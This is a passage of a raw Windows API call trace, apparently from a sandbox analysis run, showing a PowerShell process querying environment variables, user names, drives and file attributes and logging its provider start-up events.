pcbBuffer=0x14e84c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x14e84c) returned 1 [0063.006] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x332fafc*="Environment", lpRawData=0x332f9b8) returned 1 [0063.006] GetLastError () returned 0x0 [0063.007] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.007] GetLastError () returned 0xcb [0063.007] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0063.007] GetLastError () returned 0xcb [0063.007] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x1b [0063.008] GetLastError () returned 0xcb [0063.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", nBufferLength=0x105, lpBuffer=0x14e374, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFilePart=0x0) returned 0x1d [0063.008] GetLastError () returned 0xcb [0063.008] SetErrorMode (uMode=0x1) returned 0x1 [0063.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x14e7f4 | out: lpFileInformation=0x14e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.008] GetLastError () returned 0xcb [0063.008] SetErrorMode (uMode=0x1) returned 0x1 [0063.010] GetLogicalDrives () returned 0x4 [0063.010] GetLastError () returned 0xcb [0063.026] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x14e298, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.026] GetLastError () returned 0xcb [0063.027] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.027] GetLastError () returned 0xcb [0063.027] SetErrorMode (uMode=0x1) returned 0x1 [0063.028] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x257378, nVolumeNameSize=0x32, lpVolumeSerialNumber=0x14e7c0, lpMaximumComponentLength=0x14e7bc, lpFileSystemFlags=0x14e7b8, lpFileSystemNameBuffer=0x257278, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x14e7c0*=0x9c354b42, lpMaximumComponentLength=0x14e7bc*=0xff, lpFileSystemFlags=0x14e7b8*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0063.028] GetLastError () returned 0xcb [0063.029] SetErrorMode (uMode=0x1) returned 0x1 [0063.029] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.029] GetLastError () returned 0xcb [0063.029] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14e320, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.029] GetLastError () returned 0xcb [0063.029] SetErrorMode (uMode=0x1) returned 0x1 [0063.029] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3330d34 | out: lpFileInformation=0x3330d34*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xb15e24f0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb15e24f0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.029] GetLastError () returned 0xcb [0063.029] SetErrorMode (uMode=0x1) returned 0x1 [0063.029] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14e320, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.029] GetLastError () returned 0xcb [0063.029] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x14e2ac, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.029] GetLastError () returned 0xcb [0063.029] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.029] GetLastError () returned 0xcb [0063.030] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x14e268, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.030] GetLastError () returned 0xcb [0063.030] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.030] GetLastError () returned 0xcb [0063.031] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14e270, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.031] GetLastError () returned 0xcb [0063.031] SetErrorMode (uMode=0x1) returned 0x1 [0063.031] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x333198c | out: lpFileInformation=0x333198c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xb15e24f0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb15e24f0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.031] GetLastError () returned 0xcb [0063.031] SetErrorMode (uMode=0x1) returned 0x1 [0063.031] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14e278, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.031] GetLastError () returned 0xcb [0063.031] SetErrorMode (uMode=0x1) returned 0x1 [0063.031] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3331adc | out: lpFileInformation=0x3331adc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xb15e24f0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb15e24f0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.031] GetLastError () returned 0xcb [0063.031] SetErrorMode (uMode=0x1) returned 0x1 [0063.032] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14e2bc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.032] GetLastError () returned 0xcb [0063.032] SetErrorMode (uMode=0x1) returned 0x1 [0063.032] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x3331c7c | out: lpFileInformation=0x3331c7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xb15e24f0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb15e24f0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.032] GetLastError () returned 0xcb [0063.032] SetErrorMode (uMode=0x1) returned 0x1 [0063.032] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x257a38, nSize=0x14e844 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x14e844) returned 0x1 [0063.032] GetLastError () returned 0xcb [0063.032] GetUserNameW (in: lpBuffer=0x257278, pcbBuffer=0x14e84c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x14e84c) returned 1 [0063.033] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3334a04*="FileSystem", lpRawData=0x33348c0) returned 1 [0063.033] GetLastError () returned 0x0 [0063.034] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.034] GetLastError () returned 0xcb [0063.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.035] GetLastError () returned 0xcb [0063.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.035] GetLastError () returned 0xcb [0063.035] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.035] GetLastError () returned 0xcb [0063.035] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x257a38, nSize=0x14e844 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x14e844) returned 0x1 [0063.035] GetLastError () returned 0xcb [0063.035] GetUserNameW (in: lpBuffer=0x257278, pcbBuffer=0x14e84c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x14e84c) returned 1 [0063.036] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3338af4*="Function", lpRawData=0x33389b0) returned 1 [0063.036] GetLastError () returned 0x0 [0063.038] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.038] GetLastError () returned 0xcb [0063.042] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e258, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.042] GetLastError () returned 0xcb [0063.043] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e208, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.043] GetLastError () returned 0xcb [0063.043] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e208, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.043] GetLastError () returned 0xcb [0063.043] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e208, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.043] GetLastError () returned 0xcb [0063.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e258, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.076] GetLastError () returned 0xcb [0063.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e208, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.076] GetLastError () returned 0xcb [0063.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e208, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.076] GetLastError () returned 0xcb [0063.077] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x257a38, nSize=0x14e844 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x14e844) returned 0x1 [0063.077] GetLastError () returned 0xcb [0063.077] GetUserNameW (in: lpBuffer=0x257278, pcbBuffer=0x14e84c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x14e84c) returned 1 [0063.077] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3351bb0*="Registry", lpRawData=0x3351a6c) returned 1 [0063.078] GetLastError () returned 0x0 [0063.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e244, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.079] GetLastError () returned 0x0 [0063.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.079] GetLastError () returned 0x0 [0063.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0063.079] GetLastError () returned 0x0 [0063.080] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x257a38, nSize=0x14e844 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x14e844) returned 0x1 [0063.080] GetLastError () returned 0x0 [0063.080] GetUserNameW (in: lpBuffer=0x257278, pcbBuffer=0x14e84c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x14e84c) returned 1 [0063.081] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3355998*="Variable", lpRawData=0x3355854) returned 1 [0063.081] GetLastError () returned 0x0 [0063.082] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.082] GetLastError () returned 0xcb [0063.084] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.084] GetLastError () returned 0xcb [0063.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14e244, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0063.085] GetLastError () returned 0xcb [0063.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14e1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0063.085] GetLastError () returned 0xcb [0063.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14e1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0063.085] GetLastError () returned 0xcb [0063.085] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x14e1f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0063.085] GetLastError () returned 0xcb [0063.139] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x257a38, nSize=0x14e844 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x14e844) returned 0x1 [0063.139] GetLastError () returned 0x3 [0063.139] GetUserNameW (in: lpBuffer=0x257278, pcbBuffer=0x14e84c | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x14e84c) returned 1 [0063.140] ReportEventW (hEventLog=0x4e90004, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3363764*="Certificate", lpRawData=0x3363620) returned 1 [0063.143] GetLastError () returned 0x0 [0063.153] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.153] GetLastError () returned 0xcb [0063.156] GetLogicalDrives () returned 0x4 [0063.156] GetLastError () returned 0xcb [0063.157] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x14e3bc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.157] GetLastError () returned 0xcb [0063.157] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0063.157] GetLastError () returned 0xcb [0063.157] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x257278 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd") returned 0x50 [0063.157] GetLastError () returned 0xcb [0063.158] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.158] GetLastError () returned 0xcb [0063.159] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.159] GetLastError () returned 0xcb [0063.177] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.177] GetLastError () returned 0xcb [0063.180] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.180] GetLastError () returned 0xcb [0063.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nBufferLength=0x105, lpBuffer=0x14e204, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.180] GetLastError () returned 0xcb [0063.180] SetErrorMode (uMode=0x1) returned 0x1 [0063.180] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd"), fInfoLevelId=0x0, lpFileInformation=0x336ca6c | out: lpFileInformation=0x336ca6c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb06b58b0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xb4d86730, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb4d86730, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.180] GetLastError () returned 0xcb [0063.180] SetErrorMode (uMode=0x1) returned 0x1 [0063.180] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nBufferLength=0x105, lpBuffer=0x14e20c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.180] GetLastError () returned 0xcb [0063.181] SetErrorMode (uMode=0x1) returned 0x1 [0063.181] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd"), fInfoLevelId=0x0, lpFileInformation=0x336ccb4 | out: lpFileInformation=0x336ccb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb06b58b0, ftCreationTime.dwHighDateTime=0x1d55a45, ftLastAccessTime.dwLowDateTime=0xb4d86730, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb4d86730, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.181] GetLastError () returned 0xcb [0063.181] SetErrorMode (uMode=0x1) returned 0x1 [0063.184] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0063.184] GetLastError () returned 0xcb [0063.190] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", nBufferLength=0x105, lpBuffer=0x14e354, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd", lpFilePart=0x0) returned 0x50 [0063.190] GetLastError () returned 0xcb [0063.190] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.190] GetLastError () returned 0xcb [0063.190] SetErrorMode (uMode=0x1) returned 0x1 [0063.190] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xb15e24f0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb15e24f0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.191] GetLastError () returned 0xcb [0063.191] SetErrorMode (uMode=0x1) returned 0x1 [0063.191] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.191] GetLastError () returned 0xcb [0063.191] SetErrorMode (uMode=0x1) returned 0x1 [0063.191] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0xb15e24f0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0xb15e24f0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0063.191] GetLastError () returned 0xcb [0063.191] SetErrorMode (uMode=0x1) returned 0x1 [0063.191] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x14e2e4, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.191] GetLastError () returned 0xcb [0063.191] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x14e280, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0063.191] GetLastError () returned 0xcb [0063.191] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0063.191] GetLastError () returned 0xcb [0063.191] SetErrorMode (uMode=0x1) returned 0x1 [0063.191] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | out: lpFileInformation=0x14e750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0063.191] GetLastError () returned 0xcb [0063.191] SetErrorMode (uMode=0x1) returned 0x1 [0063.191] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x14e2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0063.191] GetLastError () returned 0xcb [0063.191] SetErrorMode (uMode=0x1) returned 0x1 [0063.192] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x14e750 | 